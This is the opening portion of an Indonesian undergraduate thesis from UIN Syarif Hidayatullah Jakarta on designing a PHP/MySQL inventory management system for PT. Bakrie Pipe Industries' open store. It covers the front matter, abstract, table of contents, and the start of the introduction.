rancang bangun sistem inventory...

218
i RANCANG BANGUN SISTEM INVENTORY MANAGEMENT OPEN STORE PADA PT. BAKRIE PIPE INDUSTRIES SKRIPSI Disusun Oleh: NASRULLAH NIM: 106093003117 JURUSAN SISTEM INFORMASI FAKULTAS SAINS DAN TEKNOLOGI UNIVERSITAS ISLAM NEGERI SYARIF HIDAYATULLAH JAKARTA 2014 M. / 1435 H.

Upload: trinhquynh

Post on 09-Mar-2018

234 views

Category:

Documents


9 download

TRANSCRIPT

Page 1: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

i

RANCANG BANGUN SISTEM INVENTORY MANAGEMENT

OPEN STORE

PADA PT. BAKRIE PIPE INDUSTRIES

SKRIPSI

Disusun Oleh:

NASRULLAH

NIM: 106093003117

JURUSAN SISTEM INFORMASI

FAKULTAS SAINS DAN TEKNOLOGI

UNIVERSITAS ISLAM NEGERI SYARIF HIDAYATULLAH

JAKARTA

2014 M. / 1435 H.

Page 2: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

RANCANG BANGUN SISTEM INVENTORY MANAGEMENT OPEN

STORE PADA PT. BAKRIE PIPE INDUSTRIES

Skripsi

Sebagai Salah Satu Syarat untuk Memperoleh Gelar Sarjana Sistem Informasi

Fakultas Sains dan Teknologi

Universitas Islam Negeri Syarif Hidayatullah Jakarta

Oleh:

NASRULLAH

106093003117

JURUSAN SISTEM INFORMASI

FAKULTAS SAINS DAN TEKNOLOGI

UNIVERSITAS ISLAM NEGERI

SYARIF HIDAYATULLAH

JAKARTA

2014 M / 1435 H

Page 3: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

iii

iii

Page 4: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

PENGESAHAN UJIAN

Skripsi yang berjudul “RANCANG BANGUN SISTEM INVENTORY

MANAGEMENT OPEN STORE PADA PT. BAKRIE PIPE INDUSTRIES”

yang dibuat oleh Nasrullah (106093003117) telah diuji dan dinyatakan lulus dalam

siding Munaqosah Fakultas Sains dan Teknologi, Universita Islam Negeri Syarif

Hidayatullah Jakarta pada hari rabu, 10 Juli 2013. Skripsi ini telah diterima sebagai

salah satu syarat memperoleh gelar Sarjana Satu (S1) Program Studi Sistem

Informasi.

Menyetujui,

Mengetahui,

Dosen Penguji I

Zulfiandri, MMSI

NIP 19700130 200501 1 003

Dosen Penguji II

Qurrotul Aini, MT

NIP 19730325 200901 2 001

Dosen Pembimbing I

DR. Syopiansyah Jaya Putra, M.Sis

NIP 19680117 200112 1 001

Dosen Pembimbing II

Zainuddin Bey Fananie, M.Sc

NIP .-

Dekan Fakultas Sains dan Teknologi

DR. Agus Salim, M.Si

NIP 19720816 199903 1 003

Ketua Jurusan Sistem Informasi

Zulfiandri, MMSI

NIP 19700130 200501 1 003

Page 5: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

v

v

PERNYATAAN

DENGAN INI SAYA MENYATAKAN BAHWA SKRIPSI INI BENAR – BENAR

HASIL KARYA SENDIRI YANG BELUM PERNAH DIAJUKAN SEBAGAI

SKRIPSI ATAU KARYA ILMIAH PADA PERGURUAN TINGGI ATAU

LEMBAGA MANAPUN.

Jakarta, Juni 2013

Nasrullah

106093003117

Page 6: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

ABSTRAK

Nasrullah (106093003117), Rancang Bangun Sistem Inventory Management Open

Store Pada PT. Bakrie Pipe Industries. Dibawah bimbingan Syopiansyah Jaya Putra

dan Zainuddin Bey Fananie.

PT. Bakrie Pipe Industries Merupakan sebuah perusahaan yang bergerak di

bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

PT. Bakrie Pipe Industries, pencatatan data pipa pun begitu kompleks. Belum lagi

mengenai data penerimaan dan pengiriman produk jadi (Finishing) di dalam

inventory open store. Saat ini sistem yang berjalan masih menggunakan program atau

software yang belum terintegrasi dengan software lainnya, seperti menggunakan

microsoft office dengan database menggunakan Microsoft excel sebagai penyimpan

data dan kelemahannya seperti memerlukan waktu yang cukup lama untuk

pengiriman surat perintah kerja, penyusunan laporan yang masih manual

menyebabkan kinerja perusahaan menjadi terhambat dan belum mampu menunjang

segala kebutuhan yang diinginkan perusahaan. Dari permasalahan tersebut penulis

merancang dan membuat sebuah sistem inventory management open store sebagai

alat untuk memudahkan karyawan dalam hal pencatatan data pipa masuk atau keluar,

dan memudahkan manager untuk melihat laporan yang ada dalam open store yang

berhubungan tentang pipa masuk ataupun keluar. Metode pengembangan sistem

dalam penelitian ini menggunakan Rapid Application Development (RAD) dari tahap

scope definiton hingga tahap contruction & esting. Alat perancang yang digunakan

adalah Unified Modelling language. Perangkat lunak yang digunakan dalam

pembuatan sistem menggunakan PHP sebagai bahasa pemprograman, dan MySQL

sebagai database. Penelitian ini menghasilkan Sistem Inventory Management Open

Store PT. Bakrie Pipe Industries untuk mempermudah karyawan dalam pengolahan

data pipa didalam Open Store, baik berupa data pipa yang masuk ataupun keluar dari

Open Store serta data Pembeli.

Kata Kunci : Sistem Inventory Management, open store, RAD (Rapid Application

Development), PHP, MySql, Bakrie Pipe Industries.

V Bab + xxv Halaman + 171 Halaman + 5 Simbol + 36 Tabel +54 Gambar + Daftar

Pustaka + Lampiran

Pustaka Acuan : (24, Tahun 1981 – 2010)

Page 7: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

vii

vii

KATA PENGANTAR

Puji dan syukur penulis panjatkan kehadirat Allah SWT, karena hanya dengan

Ridha dan Ijin- Nya penulis dapat menyelesaikan skripsi ini yang berjudul

“Rancangan Bangun Sistem Inventory Management Open Store pada PT. Bakrie Pipe

Industries”

Dalam penyusunan skripsi ini, penulis mendapatkan bimbingan dan bantuan

baik segi moral dan material dari berbagai pihak. Oleh karena itu, pada kesempatan

kali ini penulis mengucapkan terima kasih kepada:

1. Bapak DR. Agus Salim, M.Si, selaku Dekan Fakultas Sains dan

Teknologi, Universitas Negeri Syarif Hidayatullah Jakarta.

2. Bapak Zulfiandri MMSI, selaku Ketua Program Studi Sistem Informasi

Fakultas Sains dan Teknologi, Universitas Islam Negeri Syarif

Hidayatullah Jakarta.

3. Bapak DR. Syopiansyah Jaya Putra, M. Sis selaku Dosen Pembimbing 1

yang telah banyak sekali membantu dan membimbing penulis dalam

menyelesaikan skripsi ini.

4. Bapak Zainuddin Bey Fananie M. Sc selaku Dosen Pembimbing II yang

telah banyak sekali membantu dan membimbing penulis dalam

menyelesaikan skripsi.

5. Bapak Riyadi Teguh M. Selaku Supervisor pada bagian Open Store

memberikan arahan dan informasi yang penulis butuhkan dalam

pembuatan sistem ini.

Page 8: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

6. Bpk. Rizki dan Bpk. Maulana selaku HRD PT. Bakrie Pipe Industries

yang sudah membantu penulis dalam mengumpulkan data – data tentang

perusahaan.

7. Almarhumah Enyak dan juga babeh yang kpingin banget lihat saya

wisuda , kakak dan keponakan – keponakanku tersayang yang selalu

memberikan dukungan dan doa bagi penulis dalam menyelesaikan skripsi.

8. Seseorang yang spesial (Zamiroh, SE) yang selalu mengingatkanku agar

lebih cepat dalam menyelesaikan skripsi dan sabar dalam menunggu gelar

sarjanaku.

9. Sahabat- Sahabatku, Irwan, Hadadi, Anis, Hilman terima kasih banyak

atas bantuan dan dukungannya, dan sabat- sahabat lainnya yang terlalu

bnayak penulis bila disebutkan satu persatu. Penulis mengucapkan banyak

terima kasih.

10. Teruntuk Irwan dan Hilman yang telah banyak membantu dan

memberikan masukan – masukan kepada penulis dalam mengerjakan

skripsi ini.

11. Teman – teman seperjuangan SIC serta SIK 2006. Terima kasih untuk

semua kenangan terindahnya.

12. Dan seluruh pihak yang telah membantu penulis, baik langsung maupun

tidak langsung dalam menyelesaikan skripsi ini.

Penulis sadar bahwa penyusunan skripsi ini masih jauh dari kesempurnaan,

oleh karena itu, penulis mngharapkan kritik dan saran yang bersifat membangun agar

penyusun skripsi ini menjadi lebih baik lagi.

Page 9: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

ix

ix

Akhir kata, penulis berharap skripsi ini dapat bermanfaat bagi semua pihak

terutama kawan – kawan Sistem Informasi UIN Syarif Hidayatullah Jakarta, baik

sebagai bahan karya tulis berupa informasi, perbandingan maupun dasar untuk

penelitian materi lebih lanjut.

Jakarta, Juni 2013

NASRULLAH

NIM :106093003117

Page 10: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

DAFTAR ISI

Halaman Judul ............................................................................................................. ii

Lembar Pengesahan Pembimbing ................................................................................ iii

Lembar Pengesahan Ujian ........................................................................................... iv

Lembar Pernyataan ..................................................................................................... v

Abstrak ........................................................................................................................ vi

KATA PENGANTAR ............................................................................................... vii

DAFTAR ISI .............................................................................................................. x

DAFTAR GAMBAR .................................................................................................. xvi

DAFTAR TABEL ..................................................................................................... xix

DAFTAR SIMBOL .................................................................................................... xxi

BAB I PENDAHULUAN ........................................................................................... 1

1.1 Latar Belakang ........................................................................................... 1

1.2 Rumusan Masalah ..................................................................................... 2

1.3 Batasan Masalah ....................................................................................... 3

1.4 Tujuan Penelitian ...................................................................................... 4

1.5 Manfaat Penelitian .................................................................................... 4

1.6 Metode Penelitian ..................................................................................... 5

1.7 Sistematika Penelitian ............................................................................... 8

BAB II LANDASAN TEORI .................................................................................. 9

2.1 Pengertian Rancang Bangun .................................................................... 9

2.2 Data........................................................................................................... 9

Page 11: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

xi

xi

2.3 Sistem Informasi ...................................................................................... 11

2.3.1 Sistem ............................................................................................. 11

2.3.1.1 Pengertian Sistem ................................................................ 11

2.3.1.2 Karakteristik Sistem ........................................................... 11

2.3.1.3 Klasifikasi Sistem ............................................................... 14

2.3.2 Informasi ......................................................................................... 15

2.3.2.1 Pengertian Informasi .......................................................... 15

2.3.2.2 Nilai dan kualitas Informasi ............................................... 16

2.3.3 Sistem Informasi ............................................................................. 19

2.3.3.1 Pengertian Sistem Informasi................................................ 19

2.3.3.2 Komponen Sistem Informasi ............................................... 19

2.3.3.3 Jenis Sistem Informasi ......................................................... 21

2.4 Manajemen .............................................................................................. 22

2.4.1 Pengertian Manajemen .................................................................. 22

2.4.2 Bentuk Kegiatan Manajemen ......................................................... 22

2.5 Persediaan (Inventory) ............................................................................. 23

2.5.1 Pengertian Persediaan .................................................................... 23

2.5.2 Fungi Persediaan ............................................................................ 24

2.5.3 Klasifikasi Barang Persediaan ....................................................... 25

2.5.4 Anjuran Persediaan dalam Islam.................................................... 28

2.6 Manajemen Persediaan (Inventory Management) ................................... 33

2.6.1 Pengertian Manajemen Persediaan ............................................... 33

2.6.2 Prinsip Manajemen Persediaan ...................................................... 34

Page 12: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

2.6.3 Pembagian Jenis Barang ............................................................... 36

2.6.4 Beberapa Hambatan Manajemen Persediaan ................................ 39

2.7 Database .................................................................................................. 42

2.7.1 Konsep Sistem Database .............................................................. 42

2.7.2Pengertian Sistem Database ........................................................... 43

2.7.3 Database Management System (DBMS) ...................................... 44

2.8 Website ................................................................................................... 45

2.8.1 Pengertian Website ......................................................................... 46

2.8.1.1 Web Statis ................................................................................... 46

2.8.1.2 Web Dinamis .............................................................................. 46

2.9 Jaringan Komputer .................................................................................. 47

2.9.1 Pengertian Jaringan Kompter ........................................................ 47

2.10 Metodologi Penelitian ............................................................................ 48

2.10.1 Metode Pengumpulan Data .......................................................... 48

2.10.1.1 Studi Pustaka ................................................................ 48

2.10.1.2 Studi Lapangan ............................................................. 48

2.10.1.3 Studi Literatur Sejenis .................................................. 50

2.11 Metode Pengembangan Sistem............................................................... 50

2.11.1 Rapid Application Develompment (RAD) ................................... 50

2.11.1.1 Keunggulan RAD .......................................................... 51

2.11.1.2 Alur Proses Pengembangan Sistem .............................. 52

2.11.2 UML ............................................................................................. 53

2.12 Perangkat Lunak Yang digunakan.......................................................... 62

Page 13: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

xiii

xiii

2.12.1 Pemprograman PHP (Hypertext Preprocessor) ........................ 62

2.12.2 MySQL ....................................................................................... 65

2.12.3 Apache ........................................................................................ 66

2.12.4 Adobe Dreamweaver CS4 ......................................................... 67

2.12.5 Adobe Photoshop CS .................................................................. 67

2.12.6 Browser....................................................................................... 67

2.13 Pengujian ................................................................................................ 68

2.14 Literatur Sejenis ..................................................................................... 69

BAB III METODOLOGI PENELITIAN ................................................................ 74

3.1 Metode Pengumpulan Data ..................................................................... 74

3.1.1 Studi Pustaka .................................................................................. 74

3.1.2 Studi Lapangan .............................................................................. 74

3.1.3 Wawancara ..................................................................................... 75

3.1.4 Studi Literatur Sejenis .................................................................... 76

3.2 Metodologi Pengembangan Sistem ........................................................ 76

3.2.2 Mendefinisikan Lingkup (Scope Definition) ................................ 77

3.2.3 Analisis Sistem (Analysis) ............................................................. 77

3.2.4 Perancangan Sistem (Design) ........................................................ 78

3.2.5 Implementasi Sistem ( Construction & Testing) ........................... 79

3.2.5.1 Pemrograman .................................................................... 79

3.2.5.2 Pengujian ........................................................................... 79

3.3 Kerangka Penelitian ................................................................................ 79

BAB IV SISTEM INVENTORY MANAGEMENT OPEN STORE ...................... 81

Page 14: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

4.1 Sekilas Tentang Perusahaan .................................................................... 81

4.1.1 Gambaran Umum Perusahaan ....................................................... 81

4.1.2 Logo Perusahaan ........................................................................... 82

4.1.3 Visi dan Misi Perusahaan .............................................................. 83

4.1.4 Struktur Organisasi ........................................................................ 84

4.1.4.1 Struktur Organisasi Lanjutan PPIC Manager ................... 85

4.2 Mendefinisikan Lingkup (Scope Definition) .......................................... 87

4.3 Analisi Sistem ( Analysis) ...................................................................... 88

4.3.1 Kelemahan Sistem yang Berjalan ................................................. 88

4.3.1.2 Analisis Sistem Usulan ..................................................... 92

4.4 Perancangan Sisem (Design) .................................................................. 97

4.4.1 Use Case Diagram ......................................................................... 97

4.4.1.1 Identifikasi Use Case ......................................................... 98

4.4.2 Use Case Scenario ......................................................................... 101

4.4.2.1 Use Case Scenario login ................................................. 102

4.4.2.2 Use Case Scenario manage user ..................................... 103

4.4.2.3 Use Case Scenario input work order .............................. 104

4.4.2.4 Use Case Scenario input data pembeli ........................... 106

4.4.2.5 Use Case Scenario input pipa masuk .............................. 107

4.4.2.6 Use Case Scenario input pipa keluar .............................. 109

4.4.2.7 Use Case Scenario input reproduksi pipa ....................... 110

4.4.2.8 Use Case Scenario laporan pipa masuk .......................... 112

4.4.2.9 Use Case Scenario laporan data pembeli ........................ 113

Page 15: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

xv

xv

4.4.2.10 Use Case Scenario laporan reproduksi pipa ................. 114

4.4.2.11 Use Case Scenario laporan pipa keluar ........................ 116

4.4.2.12 Use Case Scenario laporan work order ........................ 117

4.4.2.13 Use Case Scenario laporan stok pipa ............................ 118

4.4.2.14 Use Case Scenario cek barang ...................................... 119

4.4.2.15 Use Case Scenario logout ............................................. 120

4.4.3 Activity Diagram ............................................................................ 121

4.4.4 Sequence Diagram.......................................................................... 135

4.4.5 Class Diagram ................................................................................ 145

4.4.6 Tabel Database .............................................................................. 146

4.4.7 Interface Design ............................................................................. 153

4.5 Implementation System ........................................................................... 162

4.6 Pengujian System ................................................................................... 163

4.6.1 Uji Coba User admin _ OS ............................................................ 163

4.6.2 Uji coba user manager .................................................................. 165

4.6.3 Uji coba user Tallyman ................................................................. 167

4.6.4 Uji coba user marketing ................................................................. 169

BAB V KESIMPULAN DAN SARAN ..................................................................... 170

5.1 Kesimpulan .............................................................................................. 170

5.2 Saran ........................................................................................................ 171

DAFTAR PUSTAKA

LAMPIRAN – LAMPIRAN

Page 16: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

DAFTAR GAMBAR

Gambar 2.1 Pemprosesan Data .................................................................................... 10

Gambar 2.2 Strategi Rapid Application Development ................................................. 51

Gambar 2.3 Use Case Model ....................................................................................... 57

Gambar 2.4 Activity Diagram ....................................................................................... 59

Gambar 2.5 Sequence Diagram .................................................................................... 60

Gambar 2.6 Class Diagram ......................................................................................... 61

Gambar 2.7 Model 4 + 1 View ...................................................................................... 62

Gambar 3.1 Kerangka Penelitian .................................................................................. 80

Gambar 4.1 Logo Perusahaan ....................................................................................... 83

Gambar 4.2 Struktur Organisasi pada PT. Bakrie Pipe Industries ............................... 84

Gambar 4.3 Struktur Organisasi Lanjutan PPIC Manager .......................................... 85

Gambar 4.4 Rich Picture Sistem Inventory Open Store yang sedang berjalan ............ 91

Gambar 4.5 Rich Picture Sistem Inventory Open Store yang diusulkan ..................... 93

Gambar 4.6 Use Case Sistem Inventory Management Open Store ............................. 101

Gambar 4.7 Activity diagram untuk login ..................................................................... 122

Gambar 4.8 Activity diagram untuk manage user ........................................................ 123

Gambar 4.9 Activity diagram untuk input work order ................................................. 124

Gambar 4.10 Activity diagram untuk input data pembeli ........................................... 125

Gambar 4.11 Activity diagram untuk input data pipa masuk ...................................... 126

Gambar 4.12 Activity diagram untuk input data pipa keluar ....................................... 128

Gambar 4.13 Activity diagram untuk input data reproduksi pipa ............................... 129

Page 17: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

xvii

xvii

Gambar 4.14 Activity diagram untuk laporan pipa masuk .......................................... 130

Gambar 4.15 Activity diagram untuk laporan data pembeli ........................................ 130

Gambar 4.16 Actiity diagram untuk laporan reproduksi pipa ...................................... 131

Gambar 4.17 Activity diagram untuk laporan pipa keluar ........................................... 132

Gambar 4.18 Activity diargam untuk laporan work order ........................................... 133

Gambar 4.19 Activity diagram untuk laporan stok pipa .............................................. 134

Gambar 4.20 Activity diagram untuk logout ................................................................ 135

Gambar 4.21 Sequential diagram login ....................................................................... 136

Gambar 4.22 Sequential diagram input work order .................................................... 136

Gambar 4.23 Sequential diagram input data pembeli ................................................. 137

Gambar 4.24 Sequential diagram input pipa masuk dan keluar .................................. 138

Gambar 4.25 Sequential diagram input reproduksi pipa ............................................. 139

Gambar 4.26 Sequential diagram laporan pipa masuk dan keluar ............................... 140

Gambar 4.27 Sequential diagram laporan data pembeli .............................................. 141

Gambar 4.28 Sequential diagram laporan reproduksi pipa ........................................ 142

Gambar 4.29 Sequential diagram laporan work order ................................................ 143

Gambar 4.30 Sequential diagram laporan stok ............................................................ 144

Gambar 4.31 Sequential diagram cek barang .............................................................. 145

Gambar 4.32 Class Diagram ....................................................................................... 146

Gambar 4.33 Design Interface menu login .................................................................. 153

Gambar 4.34 Design interface menu home .................................................................. 154

Gambar 4.35 Design interface menu manage user ...................................................... 155

Gambar 4.36 Design interface menu pipa masuk ......................................................... 155

Page 18: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

Gambar 4.37 Design interface menu data pipa ............................................................. 156

Gambar 4.38 Design interface menu input data pipa keluar......................................... 157

Gambar 4.39 Design interface menu input data pembeli.............................................. 157

Gambar 4.40 Design interface menu input reproduksi pipa ........................................ 158

Gambar 4.41 Design interface menu input work order ............................................... 158

Gambar 4.42 Design interface menu input pipa masuk ................................................ 159

Gambar 4.43 Design interface menu laporan pipa keluar ........................................... 160

Gambar 4.44 Design interface menu laporan data pembeli .......................................... 160

Gambar 4.45 Design interface menu laporan stok pipa ................................................ 161

Gambar 4.46 Design interface menu laporan work order ............................................ 161

Gambar 4.47 Design interface menu cek barang ......................................................... 162

Page 19: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

xix

xix

DAFTAR TABEL

Tabel 2.1 Tipe Diagram UML ..................................................................................... 55

Tabel 2.2 Studi Literatur Sejenis.................................................................................. 69

Tabel 4.1 Analisi Perbandingan .................................................................................. 94

Tabel 4.2 Identifikasi Actor ........................................................................................ 98

Tabel 4.3 Identifikasi Use Case .................................................................................. 98

Tabel 4.4 Use Case Scenario login .............................................................................. 102

Tabel 4.5 Use Case Scenario manage user ................................................................. 103

Tabel 4.6 Use Case Scenario input work order .......................................................... 104

Tabel 4.7 Use Case Scenario input data pembeli ........................................................ 106

Tabel 4.8 Use Case Scenario input data pipa masuk .................................................... 107

Tabel 4.9 Use Case Scenario input data pipa keluar ................................................... 109

Tabel 4.10 Use Case Scenario input reproduksi pipa .................................................. 110

Tabel 4.11 Use Case Scenario laporan pipa masuk ...................................................... 112

Tabel 4.12 Use Case Scenario laporan data pembeli ................................................... 113

Tabel 4.13 Use Case Scenario laporan reproduksi pipa ............................................... 114

Tabel 4.14 Use Case Scenario laporan pipa keluar ...................................................... 116

Tabel 4.15 Use Case Scenario laporan work order ...................................................... 117

Tabel 4.16 Use Case Scenario laporan stok pipa.......................................................... 118

Tabel 4.17 Use Case Scenario cek barang .................................................................... 119

Tabel 4.18 Use Case Scenario logout ........................................................................... 120

Tabel 4.19 Database Barang ......................................................................................... 147

Page 20: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

Tabel 4.20 Database pembeli ...................................................................................... 147

Tabel 4.21 Database Reproduksi ................................................................................ 148

Tabel 4.22 Database Stok ............................................................................................ 148

Tabel 4.23 Database Work Order ............................................................................... 149

Tabel 4.24 Database User ........................................................................................... 150

Tabel 4.25 Database Level ......................................................................................... 150

Tabel 4.26 Database Jabatan ....................................................................................... 151

Tabel 4.27 Database Jenis ........................................................................................... 151

Tabel 4.28 Database Kota ........................................................................................... 152

Tabel 4.29 Database Provinsi ...................................................................................... 152

Tabel 4.30 Database Pegawai ...................................................................................... 153

Tabel 4.31 Uji Coba User Admin OS ........................................................................... 163

Tabel 4.32 Uji Coba User Manager ............................................................................ 165

Tabel 4.33 Uji Coba User Tallyman ............................................................................ 168

Tabel 4.34 Uji Coba User Marketing........................................................................... 168

Page 21: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

xxi

xxi

DAFTAR SIMBOL

SIMBOL USE CASE MODEL DIAGRAMS

Simbol Arti

Actor

Use case

Association

Extends

Uses (includes)

Depends on

Inheritance

(Whitten, 2004)

Actor1

-End1

*

-End2

*

«extends»

«uses»

«uses»<<depends on>>

«inherits»

Page 22: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

SIMBOL ACTIVITY DIAGRAM

Simbol Arti

Activity

Initiate Activities

Start of the Process

Termination of the Process

Synchronization Bar

Decision Activity

(Whitten, 2004)

Page 23: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

xxiii

xxiii

SIMBOL CLASS DIAGRAM

Simbol Arti

Class

Ket:

1 class name

2 attributes

3 behaviors

Association

Agregation

Generalization

(Whitten, 2004)

Class 1

2

3

-End1

*

-End2

*

-End1

1

-End2

*

Page 24: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

SIMBOL SEQUENCE DIAGRAM

Simbol Arti

Object

Lifeline

Messages

Messages (return)

Behaviors (operations)

(Whitten, 2004)

Page 25: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

xxv

xxv

SIMBOL OBJECT CLASS ASSOCIATIONS AND MULTIPLICITY

Simbol Arti

Pasti satu

Nol atau satu

Nol atau lebih

Satu atau lebih

Specific range

(Whitten, 2004)

Class1 Class2

1

Class3 Class4

Class1 Class2

0..1

Class1 Class2

0..*

Class3 Class4

*

Class1 Class2

1..*

Class1 Class2

7..9

Page 26: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh
Page 27: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

1

BAB I

PENDAHULUAN

1.1 Latar Belakang Masalah

PT. Bakire Pipe Industries merupakan sebuah perusahaan yang bergerak di

bidang manufacturing pipa. Pipa yang diproduksi merupakan pipa yang sekarang

sering kita jumpai, baik itu sebagai tiaang listrik, tiang telepon, konstruksi bangunan

dan berbagai keperluan lainnya, pipa yang paling banyak di minati adalah pipa jenis

API 5L dan ASTM sebagai alat untuk menyelesaikan suatu proyek seperti

pertambangan minyak dan pembuatan suatu gedung perusahaan, sedangkan pipa

yang paling diminati untuk distributor adalah pipa jenis BS dan SNI, pipa jenis ini

berguna untuk kebutuhan pribadi dan rumah tangga seperti pipa untuk keran air,

listrik dan lain sebagainya yang akan dijual kepada distributor di pasar. Pipa yang

diproduksi mencapai 310.000 ton per tahun. Proses pembuatan pipa tersebut dimulai

dari penerimaan bahan dasar oleh bagian gudang (procurement), lalu diolah menjadi

produk setengah jadi, kemudian diolah menjadi produk jadi (finishing), setelah itu

dibawa ke inventory open store untuk disimpan dan dipisahkan antara pipa yang

sudah dipesan dan pipa yang dijadikan sebagai stok untuk dijual ke pembeli. Setelah

semua proses selesai pipa siap untuk dipasarkan.

Open store merupakan suatu tempat yang digunakan untuk menyimpan pipa

jadi (finishing/ good pipe) yang telah diproduksi dan diperiksa oleh QAE (Quality

Assurance Environment) dengan mengecek kualitasnya berdasarkan surat LPPJ

(Laporan pipa produk jadi) yang ada. Karena begitu banyaknya jumlah dan jenis pipa

Page 28: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

yang diproduksi oleh PT. Bakire Pipe Industries, pencatatan data pipa dan jenisnya

pun begitu kompleks. Belum lagi mengenai data penerimaan dan pengiriman produk

jadi (finishing) di dalam inventory open store.

Saat ini sistem yang berjalan masih menggunakan program atau software

yang belum terintegrasi dengan software lainnya, seperti menggunakan microsoft

office dengan database menggunakan Microsoft excel sebagai penyimpan data dan

kelemahannya seperti memerlukan waktu yang cukup lama sekitar 2 jam bahkan bisa

lebih jika ada permintaan pesanan (work order) dari pelanggan yang cukup banyak,

untuk pengiriman surat perintah kerja, penyusunan laporan yang masih manual

menyebabkan kinerja perusahaan menjadi terhambat dan belum mampu menunjang

segala kebutuhan yang diinginkan perusahaan.

Maka berdasarkan uraian sebelumnya, sangat menarik untuk melakukan

penelitian terhadap pengaturan sistem inventory barang pada perusahaan tersebut,

sehingga informasi yang dihasilkan cepat, tepat dan akurat. Oleh karena itu peneliti

mengambil tema “Rancang Bangun Sistem Inventory Management Open Store pada

PT. Bakire Pipe Industries”. Dengan metodologi Rapid Application Development

(RAD) dan tools yang digunakan adalah Unified Modelling Languange (UML),

Macromedia Dreamweaver dan database MySQL. Dengan demikian penulis

bermaksud membuat aplikasi ini agar dapat mempermudah pihak perusahaan.

1.2 Rumusah Masalah

Berdasarkan pengamatan penulis, identifikasi masalah yang terjadi saat ini

adalah:

